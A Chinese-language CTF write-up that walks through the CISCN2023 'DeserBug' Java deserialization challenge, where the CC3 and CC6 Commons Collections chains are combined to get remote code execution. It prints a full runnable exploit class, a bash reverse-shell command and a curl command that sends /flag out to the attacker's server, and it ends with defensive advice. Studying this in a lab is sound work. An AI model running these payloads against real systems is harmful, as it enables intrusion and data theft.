ARTICLE · INTELLIGENCE

战地情报 · 详情页

来自尧图项目组的一线实战观察与深度解析

Java反序列化漏洞实战:CC3与CC6链组合利用深度解析

Java反序列化漏洞实战:CC3与CC6链组合利用深度解析 1. 项目概述一次对Java反序列化漏洞的深度实战复盘最近在复盘去年的CISCN2023国赛初赛其中一道名为“DeserBug”的Java反序列化题目给我留下了挺深的印象。这道题不算特别偏门但非常典型它几乎把Java安全里关于反序列化的几个核心知识点串了起来从基础的链构造到稍微进阶的利用技巧都有所体现。题目环境模拟了一个存在漏洞的Java Web服务攻击者需要通过精心构造的序列化数据利用服务端依赖的库中的危险类最终实现远程命令执行RCE。对于想深入理解Java反序列化攻击特别是Commons CollectionsCC链在实战中如何组合运用的朋友来说这是一个绝佳的练手材料。我复现这道题的目的不仅仅是为了解出flag更是想拆解清楚整个攻击链的来龙去脉。为什么这里要用TemplatesImplTransformingComparator和PriorityQueue又是怎么搅和进来的CC3链和CC6链的思路在这里是如何融合的这些问题是理解这道题的关键。接下来我会把自己复现的完整过程、踩过的坑以及背后的原理像聊天一样分享出来。无论你是正在备战CTF的选手还是对Java安全感兴趣的开发者希望这篇记录都能给你带来一些实实在在的参考。2. 题目环境搭建与初步分析2.1 环境复现与代码审计首先我们需要把靶场环境搭起来。题目通常会给一个Dockerfile或者直接的jar包。我拿到的就是一个可执行的Spring Bootjar包。直接运行起来后访问指定端口比如8080就能看到一个简单的Web界面。前端可能只有一个提交数据的表单或者干脆就是一个接收POST请求的API端点这需要我们抓包来看。用Burp Suite拦截一下流量发现关键点存在一个接口例如/bug它接收一个名为data的POST参数这个参数的内容看起来是经过Base64编码的。服务端拿到这个参数后会进行Base64解码然后将解码后的字节流直接交给ObjectInputStream进行反序列化。这就是最经典的“反序列化漏洞入口”——用户可控的序列化数据被直接还原成对象。为了深入分析我们需要拿到服务端的源代码或者反编译的class文件。通过一些工具如fernflower或cfr对jar包进行反编译我们就能一窥究竟。核心的漏洞代码通常长这样PostMapping(/bug) public String deserializeBug(RequestParam(data) String base64Data) { try { byte[] decoded Base64.getDecoder().decode(base64Data); ByteArrayInputStream bais new ByteArrayInputStream(decoded); ObjectInputStream ois new ObjectInputStream(bais); // 高危操作直接反序列化不可信数据 Object obj ois.readObject(); ois.close(); return Received object: obj.getClass().getName(); } catch (Exception e) { return Error: e.getMessage(); } }同时查看项目的依赖文件如pom.xml或build.gradle至关重要。这道题的关键依赖是commons-collections:3.2.1。这个版本的CC库包含了大量可以用于构造攻击链的类且没有后续版本中的安全限制。环境里还必须有javassist库因为我们的最终payload需要动态生成恶意字节码。JDK版本建议使用8u251之前的因为后续版本对TemplatesImpl等类的利用增加了一些限制。注意自己搭建复现环境时务必确保依赖库的版本与题目完全一致。一个细微的版本差异比如CC 3.2.1和3.2.2就可能导致利用链失效。最好使用Maven的dependency:tree命令确认所有传递依赖。2.2 利用链的整体构思看到CC 3.2.1我们脑子里应该立刻浮现出几条经典的利用链比如CC1、CC3、CC6等。这道题“DeserBug”的提示以及网络上的讨论热词都指向了CC3和TemplatesImpl。CC3链的核心价值在于它提供了一种不依赖InvokerTransformer执行任意方法的方式而是通过InstantiateTransformer或TrAXFilter结合TemplatesImpl来加载字节码这对于绕过一些限制比如CC库中Transformer数组的序列化问题很有用。但纯粹的CC3链起点AnnotationInvocationHandler在JDK 8u71之后就被修复了。所以实战中我们常常需要混合其他链的起点Gadget。这就是为什么题目可能会引导我们想到CC6。CC6链提供了一个非常可靠的起点HashMap-TiedMapEntry-LazyMap。这个起点不依赖JDK内部类通用性极强。所以这道题的链式构造思路逐渐清晰我们需要用一个可靠的起点如CC6的HashMap来触发我们的Transformer链而这个Transformer链的最终目标是调用TemplatesImpl#newTransformer()或TrAXFilter的构造函数从而触发我们嵌入的恶意字节码的执行。整个攻击路径可以概括为反序列化入口 - CC6 Gadget触发map.get - 精心构造的Transformer链 - 实例化TrAXFilter或调用TemplatesImpl.newTransformer()- 加载并执行恶意字节码。3. 核心利用链的详细拆解3.1 起点CC6链的改造与利用CC6链的妙处在于它的触发点TiedMapEntry#hashCode()。当这个对象被反序列化时如果其key属性为null它会调用内部map的get(null)方法。如果我们让这个map是一个LazyMap并且为其设置一个Transformer链那么get(null)就会触发整个链的执行。首先我们构造一个能执行任意命令的Transformer链吗传统CC1链用的是ChainedTransformer包含InvokerTransformer来调用Runtime.exec()。但这里有个问题Runtime类没有实现Serializable接口无法直接序列化。我们需要通过反射来获取Runtime对象这通常由ConstantTransformer和InvokerTransformer组合完成。一个典型的命令执行Transformer数组如下Transformer[] transformers new Transformer[] { new ConstantTransformer(Runtime.class), new InvokerTransformer(getMethod, new Class[]{String.class, Class[].class}, new Object[]{getRuntime, new Class[0]}), new InvokerTransformer(invoke, new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}), new InvokerTransformer(exec, new Class[]{String.class}, new Object[]{calc.exe}) // 或 /bin/bash -c ... }; Transformer chain new ChainedTransformer(transformers);但是在CC3混合链中我们最终的目标不是直接执行命令而是触发字节码加载。所以我们需要对上面的链进行改造。我们的目标是调用TemplatesImpl#newTransformer()。观察CC3链它常用InstantiateTransformer来实例化一个TrAXFilter对象而TrAXFilter的构造函数会接收一个Templates对象并调用其newTransformer()方法。因此我们可以构造这样一个链先通过反射获取TemplatesImpl对象其中已包含恶意字节码然后将其传递给InstantiateTransformer去实例化TrAXFilter。但这里有个衔接问题CC6的LazyMap触发的是transform(Object input)方法这个input参数是TiedMapEntry传进来的key也就是null。我们需要让第一个Transformer接收这个null并输出我们准备好的TemplatesImpl对象。这就要用到ConstantTransformer了。ConstantTransformer的特点是无论输入是什么它总是返回我们预设的那个常量对象。所以我们可以把上面命令执行的链的开头换掉// 假设我们已经创建了包含恶意字节码的templates对象 TemplatesImpl templates createEvilTemplates(); Transformer[] transformers new Transformer[] { new ConstantTransformer(templates), // 忽略输入直接返回templates对象 new InstantiateTransformer( new Class[]{Templates.class}, new Object[]{templates}) };等等这里有问题。InstantiateTransformer的作用是用其构造函数实例化一个新对象。如果我们想实例化TrAXFilter那么第一个ConstantTransformer应该返回TrAXFilter.class才对。经典的CC3链中是这样构造的Transformer[] transformers new Transformer[] { new ConstantTransformer(TrAXFilter.class), new InstantiateTransformer( new Class[]{Templates.class}, new Object[]{templates}) };这条链的意思是ConstantTransformer接收任意输入这里是null输出TrAXFilter.class接着InstantiateTransformer接收这个Class对象并以templates为参数去实例化一个TrAXFilter对象。在实例化过程中TrAXFilter的构造函数会调用templates.newTransformer()从而触发字节码加载。所以我们需要把templates对象作为参数数组传递给InstantiateTransformer。至此我们得到了用于CC6终点的Transformer链。接下来用这个链装饰一个LazyMapMap lazyMap LazyMap.decorate(new HashMap(), transformerChain);然后创建TiedMapEntry将其map指向这个lazyMapkey设为nullTiedMapEntry entry new TiedMapEntry(lazyMap, null);最后将entry放入一个HashMap中。为了在反序列化时触发hashCode()我们需要巧妙地操作这个HashMap。通常的做法是先将entry放入HashMap然后通过反射修改lazyMap的factory字段将其设置为一个ConstantTransformer防止在put过程中提前触发链最后再将factory改回我们危险的transformerChain。更常见的做法是直接利用HashSet或HashMap反序列化时会调用元素hashCode()的特性构造好一个HashMap其key为我们的TiedMapEntry。在序列化这个HashMap之前需要确保lazyMap里还没有null这个key否则LazyMap就不会调用transform了。所以我们先放一个无关的键值对进去。3.2 关键恶意字节码的构造与封装现在来看攻击的最终目标让TemplatesImpl加载我们的字节码。TemplatesImpl是JDK内部的一个类它用于存储XSLT转换模板但有一个关键特性它的_bytecodes字段可以接收字节码数组并在调用newTransformer()或getOutputProperties()时使用defineClass加载这些字节码。我们需要用javassist库动态创建一个类。这个类的静态代码块里放入我们想要执行的命令。为什么用静态代码块因为TemplatesImpl在定义类后会去获取这个类的Class对象此时静态代码块会自动执行无需再实例化对象利用起来更直接。import javassist.*; public byte[] createEvilBytecode(String command) throws Exception { ClassPool pool ClassPool.getDefault(); CtClass clazz pool.makeClass(Evil); // 在静态代码块中插入命令执行代码 String shell java.lang.Runtime.getRuntime().exec(\ command.replace(\, \\\) \);; clazz.makeClassInitializer().insertBefore(shell); byte[] bytecode clazz.toBytecode(); clazz.detach(); // 释放资源 return bytecode; }得到字节码数组后我们需要通过反射来构造一个TemplatesImpl对象并设置其关键字段_bytecodes设置为二维字节数组new byte[][]{evilBytecode}。_name可以任意设置一个非空字符串如pwn。_tfactory需要设置为一个TransformerFactoryImpl对象通常直接new一个即可。这里有一个巨大的坑TemplatesImpl类没有公共的构造函数。我们不能直接new TemplatesImpl()。但是它有一个默认的无参构造函数只是包级私有。我们可以通过反射来调用它Class clazz Class.forName(com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl); Constructor constructor clazz.getDeclaredConstructor(); constructor.setAccessible(true); TemplatesImpl templates (TemplatesImpl) constructor.newInstance();然后通过反射设置字段。这里要注意字段名不同JDK版本可能带有下划线前缀。在JDK 8中通常就是_bytecodes、_name、_tfactory。setFieldValue(templates, _bytecodes, new byte[][]{evilBytecode}); setFieldValue(templates, _name, pwn); setFieldValue(templates, _tfactory, new TransformerFactoryImpl());实操心得在构造TemplatesImpl时经常遇到“com.sun.org.apache.xalan...找不到类”的错误。这通常是因为项目依赖中没有引入xalan。但在大多数JDK环境中这个类是自带的。如果遇到问题可以尝试使用org.apache.xalan.xsltc.trax.TemplatesImpl这个类名需要额外依赖但题目环境通常用的是JDK自带的那个。最稳妥的方式是写一个简单的测试程序打印出TemplatesImpl的实际类名。3.3 组装将组件连接成完整攻击链现在我们有了一切零件恶意的TemplatesImpl对象templates、改造后的CC3 Transformer链、以CC6为起点的触发结构。接下来就是精细的组装工作。首先组装Transformer链。这个链的输入是null来自TiedMapEntry的key输出是实例化TrAXFilter的动作。Transformer[] transformers new Transformer[] { new ConstantTransformer(TrAXFilter.class), new InstantiateTransformer( new Class[]{Templates.class}, new Object[]{templates}) }; Transformer chainedTransformer new ChainedTransformer(transformers);这里有一个非常重要的技巧在最终序列化payload之前我们需要用一个无害的Transformer比如ConstantTransformer替换掉ChainedTransformer以防止在构造过程中就触发命令执行。我们通常先创建一个假的链Transformer[] fakeTransformers new Transformer[]{ new ConstantTransformer(1) }; Transformer fakeChain new ChainedTransformer(fakeTransformers);用这个fakeChain去创建LazyMap和后续结构。等所有结构HashMap、TiedMapEntry等都组装好后再通过反射将LazyMap内部的factory字段从fakeChain替换成真正的chainedTransformer。完整的组装代码逻辑如下创建恶意templates。创建真正的危险Transformer链chainedTransformer先不用于装饰。创建假的Transformer链fakeChain。用fakeChain装饰一个LazyMapMap lazyMap LazyMap.decorate(new HashMap(), fakeChain);。创建TiedMapEntryTiedMapEntry entry new TiedMapEntry(lazyMap, null);。创建HashMap map new HashMap();。将entry作为key放入mapmap.put(entry, value);。注意在put之后由于key为nulllazyMap.get(null)会被调用但因为现在是fakeChain返回常数1所以lazyMap会存入(null, 1)。这步操作是必须的目的是在lazyMap中预先存入一个null键这样在反序列化触发hashCode时LazyMap.get(null)才会返回已存在的值而不会再次触发transform不对这里逻辑需要理清。这里是一个关键细节LazyMap的get方法逻辑是如果键不存在则用factory.transform(key)生成一个值并存入。如果我们先用fakeChain在lazyMap里为null键存了一个值比如1那么当反序列化后TiedMapEntry.hashCode()调用lazyMap.get(null)时由于键已存在它会直接返回值1而不会触发transform。这会导致利用失败。所以正确的做法是在组装过程中要确保lazyMap里不存在null这个键。我们可以在put到HashMap之后手动将lazyMap中因put操作而自动生成的null键条目删除map.put(entry, value); // 删除lazyMap中因put而自动添加的null键条目确保反序列化时触发transform lazyMap.remove(null);通过反射将lazyMap的factory字段替换为真正的chainedTransformer。序列化这个HashMap对象map。将序列化后的字节进行Base64编码发送给目标接口。当这个精心构造的HashMap被反序列化时其readObject方法会计算每个键的哈希值从而调用TiedMapEntry.hashCode()进而调用lazyMap.get(null)。由于我们提前删除了null键LazyMap会调用chainedTransformer.transform(null)触发整个链最终实例化TrAXFilter并执行嵌入的恶意字节码。4. 完整Payload构造与利用过程4.1 分步构造Payload代码实现理论讲完了我们来看具体代码。下面是一个完整的、可运行的Payload构造类。我加了详细的注释你可以跟着一步步看。import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InstantiateTransformer; import org.apache.commons.collections.keyvalue.TiedMapEntry; import org.apache.commons.collections.map.LazyMap; import javax.xml.transform.Templates; import javax.xml.transform.TransformerFactory; import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter; import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl; import javassist.ClassPool; import javassist.CtClass; import java.io.*; import java.lang.reflect.*; import java.util.Base64; import java.util.HashMap; import java.util.Map; public class DeserBugExploit { public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception { Field field obj.getClass().getDeclaredField(fieldName); field.setAccessible(true); field.set(obj, value); } public static byte[] createEvilBytecode(String command) throws Exception { ClassPool pool ClassPool.getDefault(); CtClass clazz pool.makeClass(Evil); // 使用静态代码块在类初始化时执行命令 String shell try { Runtime.getRuntime().exec(new String[]{\/bin/bash\, \-c\, \ command.replace(\, \\\) \}); } catch (Exception e) {}; clazz.makeClassInitializer().insertBefore(shell); byte[] bytecode clazz.toBytecode(); clazz.detach(); return bytecode; } public static TemplatesImpl createEvilTemplates(String command) throws Exception { // 1. 创建包含恶意字节码的TemplatesImpl对象 byte[] evilBytecode createEvilBytecode(command); Class clazz Class.forName(com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl); Constructor constructor clazz.getDeclaredConstructor(); constructor.setAccessible(true); TemplatesImpl templates (TemplatesImpl) constructor.newInstance(); // 2. 设置关键字段 setFieldValue(templates, _bytecodes, new byte[][]{evilBytecode}); setFieldValue(templates, _name, pwn); setFieldValue(templates, _tfactory, new TransformerFactoryImpl()); return templates; } public static String generatePayload(String command) throws Exception { // 1. 创建恶意TemplatesImpl TemplatesImpl templates createEvilTemplates(command); // 2. 构造真正的Transformer链 (CC3的核心) Transformer[] transformers new Transformer[]{ new ConstantTransformer(TrAXFilter.class), new InstantiateTransformer( new Class[]{Templates.class}, new Object[]{templates}) }; Transformer chainedTransformer new ChainedTransformer(transformers); // 3. 构造一个假的、无害的Transformer链用于前期组装 Transformer[] fakeTransformers new Transformer[]{ new ConstantTransformer(1) }; Transformer fakeChain new ChainedTransformer(fakeTransformers); // 4. 用假链创建LazyMap Map lazyMap LazyMap.decorate(new HashMap(), fakeChain); // 5. 创建TiedMapEntrykey为nullmap为lazyMap TiedMapEntry entry new TiedMapEntry(lazyMap, null); // 6. 创建HashMap并将entry作为key放入 Map map new HashMap(); map.put(entry, value); // 7. 关键步骤移除lazyMap中因put操作自动生成的null键确保反序列化时触发transform lazyMap.remove(null); // 8. 通过反射将lazyMap内部的factory替换为真正的危险链 Field factoryField LazyMap.class.getDeclaredField(factory); factoryField.setAccessible(true); factoryField.set(lazyMap, chainedTransformer); // 9. 序列化HashMap ByteArrayOutputStream baos new ByteArrayOutputStream(); ObjectOutputStream oos new ObjectOutputStream(baos); oos.writeObject(map); oos.close(); // 10. Base64编码 String payload Base64.getEncoder().encodeToString(baos.toByteArray()); return payload; } public static void main(String[] args) throws Exception { // 要执行的命令根据目标系统修改 String cmd touch /tmp/success; // Linux // String cmd calc.exe; // Windows String payload generatePayload(cmd); System.out.println(Generated Payload (Base64):); System.out.println(payload); // 可以将payload直接复制到Burp Suite中发送给目标 } }运行这个main方法就会在控制台打印出Base64编码后的payload。将其作为data参数的值通过POST请求发送给靶机的漏洞接口。4.2 利用过程与结果验证拿到payload后利用过程就很简单了。我一般用curl命令或者直接在Burp Suite的Repeater模块里操作。使用curl命令curl -X POST http://靶机IP:端口/bug --data-urlencode data你的Base64Payload -v使用Burp Suite打开Burp切换到Repeater选项卡。在请求体中选择POST方法填入目标URL如http://192.168.1.100:8080/bug。将Body格式改为x-www-form-urlencoded。添加一个参数名字为data值为上面生成的Base64 payload字符串。点击Send。如果一切顺利目标服务器会反序列化我们的payload执行嵌入的命令。如何验证呢这取决于你执行的命令。如果命令是touch /tmp/success你可以尝试进入靶机容器如果是Docker环境查看/tmp/success文件是否被创建。或者在题目环境中可能命令执行的结果会直接回显或者触发一个外部DNS/HTTP请求带外检测。如果命令是反弹Shell你需要在公网服务器上监听一个端口例如nc -lvnp 4444。将payload中的命令换成如bash -i /dev/tcp/你的IP/4444 01的反弹shell命令。发送payload后观察你的服务器是否接收到连接。如果命令是计算器Windows在图形化界面的靶机上可能会弹出计算器窗口。在CTF比赛中这道题的目的通常是读取服务器上的一个特定文件flag。因此payload中的命令可以换成cat /flag或type C:\\flag.txt然后从HTTP响应中寻找回显。有时服务端不会直接输出命令结果这就需要我们进行外带数据比如用curl将文件内容发送到我们的服务器curl http://你的接收服务器/?flag$(cat /flag|base64)。注意事项在实际攻击或CTF中命令执行可能会受到字符过滤、空格过滤、特殊字符转义等限制。你需要根据情况对命令进行编码或变形。例如使用${IFS}代替空格使用base64编码命令后再解码执行等。在构造字节码时也要考虑Java字符串中的转义问题。5. 调试技巧与常见问题排查5.1 本地调试与链触发跟踪在构造如此复杂的利用链时光靠猜是不行的必须进行调试。我强烈建议在IDEA或Eclipse中搭建一个与靶场环境完全相同的本地调试项目。项目配置创建一个Maven项目引入commons-collections:3.2.1和javassist依赖。将靶场的漏洞代码片段复制到你的项目中。断点设置在漏洞服务的反序列化入口ois.readObject()处打上断点。同时在关键类的readObject、hashCode、get、transform、newTransformer等方法内部打上断点。特别关注HashMap.readObject()-hash(key)TiedMapEntry.hashCode()-getValue()-map.get(key)LazyMap.get()-factory.transform(key)ChainedTransformer.transform()- 遍历执行各个TransformerInstantiateTransformer.transform()-Constructor.newInstance()TrAXFilter构造函数 -_templates.newTransformer()TemplatesImpl.newTransformer()-defineClass()-clinit执行调试运行运行你的Exploit类生成payload然后在调试环境中模拟服务端接收这个payload并触发readObject。一步步跟踪观察对象是如何被还原方法调用栈是如何一步步走到命令执行的。这能让你对整条链有肌肉记忆般的理解。如果链没有触发检查每一步的断点是否被命中。如果某个关键方法没被调用说明你的链在那一环断掉了。常见原因有某个类未实现Serializable接口、transient字段导致状态丢失、或者某个关键对象在序列化/反序列化过程中发生了变化。5.2 常见错误与解决方案在复现过程中我踩过不少坑这里总结一下问题现象可能原因解决方案抛出ClassNotFoundException依赖缺失或类名错误。检查pom.xml确保commons-collections:3.2.1和javassist已正确引入。检查TemplatesImpl的全限定类名是否正确不同JDK/环境可能有差异。抛出java.security.AccessControlException目标环境存在Java安全管理器SecurityManager禁止了某些操作如defineClass或exec。CTF题目通常不会设置。如果遇到可能需要寻找其他不触发安全管理器的利用链或者利用已有的权限进行绕过较难。命令执行了但没效果如touch没创建文件1. 当前用户权限不足。2. 命令路径错误。3. 容器环境是只读文件系统。尝试使用绝对路径/bin/touch。尝试执行whoami、id查看权限。尝试写用户目录/tmp或/dev/shm。反序列化成功但无任何反应链似乎没触发1.LazyMap中已存在null键导致未调用transform。2. 反射修改factory字段失败或时机不对。3. JDK版本过高对TemplatesImpl有限制。确保在序列化前执行了lazyMap.remove(null)。调试检查LazyMap.factory字段在序列化时的值是否正确。尝试在HashMap.put之后、序列化之前通过调试或打印确认lazyMap的内部状态。降低本地测试的JDK版本至8u251以下。报错java.lang.ClassCastException反序列化后的对象类型与预期不符可能是链中某个环节的类不可序列化或版本不对。确保链中所有用到的类都实现了Serializable接口。检查CC库版本3.2.2版本修复了一些类的序列化问题。使用serialVersionUID一致的环境。生成的Payload特别大使用javassist生成的字节码可能包含大量调试信息。在创建CtClass时可以调用clazz.stopPruning(true)不对应该是clazz.debugWriteFile()或关注ClassPool的缓存。更直接的方法是可以尝试使用更精简的字节码生成方式或者对生成的字节码进行压缩但需确保能正常加载。通常不影响利用。一个高级技巧解决TemplatesImpl在更高版本JDK中的限制。在JDK 8u251之后TemplatesImpl的defineTransletClasses()方法内部增加了对类加载器的检查并且对生成的类的父类有更严格的要求。这可能导致我们的恶意类加载失败。绕过的一种方法是让我们生成的恶意类继承自com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet并且满足其他一些条件如提供无参构造函数。使用javassist创建类时可以这样设置CtClass superClass pool.get(com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet); clazz.setSuperclass(superClass); // 确保有无参构造函数默认就有在CTF中题目环境通常是固定的旧版本JDK所以这个问题不常遇到。但了解这一点对于实战和更深入的研究很有帮助。6. 防御思路与安全启示通过这道题的复现我们不仅学会了攻击更应该思考如何防御。作为开发者可以从以下几个层面规避此类风险输入验证与白名单绝对不要反序列化来自不可信来源的数据。如果业务必须使用序列化应考虑使用JSON、XML等更安全的交换格式。如果必须用Java原生序列化可以实施白名单机制使用ObjectInputStream的resolveClass方法进行严格的类校验只允许反序列化已知安全的类。public class SafeObjectInputStream extends ObjectInputStream { private static final SetString whitelist Set.of(java.lang.String, com.known.SafeClass); protected Class? resolveClass(ObjectStreamClass desc) throws IOException, ClassNotFoundException { String className desc.getName(); if (!whitelist.contains(className)) { throw new InvalidClassException(Unauthorized deserialization attempt, className); } return super.resolveClass(desc); } }升级依赖库及时升级项目中的第三方库特别是像Commons Collections这样的高危组件。CC库在3.2.2版本及后续版本中为许多危险的Transformer类如InvokerTransformer、InstantiateTransformer增加了Serializable接口的readObject方法防御或者直接标记了transient字段大大增加了利用难度。使用最新版本是成本最低的防护手段。使用安全工具在CI/CD流程中集成依赖漏洞扫描工具如OWASP Dependency-Check、Snyk及时发现并修复存在已知反序列化漏洞的组件。在运行时可以考虑使用Java Agent技术进行防护例如使用SerialKiller、contrast-rO0等工具在反序列化过程中拦截危险的类或行为。最小权限原则运行Java应用的容器或进程应使用非root用户并限制其网络访问、文件系统访问权限。这样即使被攻破攻击者能造成的破坏也有限。代码审计与安全意识开发者应了解反序列化漏洞的原理在代码审计时重点关注ObjectInputStream.readObject()、XMLDecoder.readObject()、Yaml.load()、JSON.parseObject()某些配置下等敏感函数的调用确保其参数是可控的。反序列化漏洞的根源在于序列化机制为了还原对象状态赋予了数据“代码”的能力。这道“DeserBug”题目就像一把钥匙打开了理解Java安全中这一经典问题的大门。理解它不仅是为了攻击更是为了构建更坚固的防御。在平时开发中每当你要写下readObject()时不妨多问自己一句“这数据我真的能信任吗”
RELATED READING

延伸阅读

更多一线实战笔记与深度复盘,助您持续精进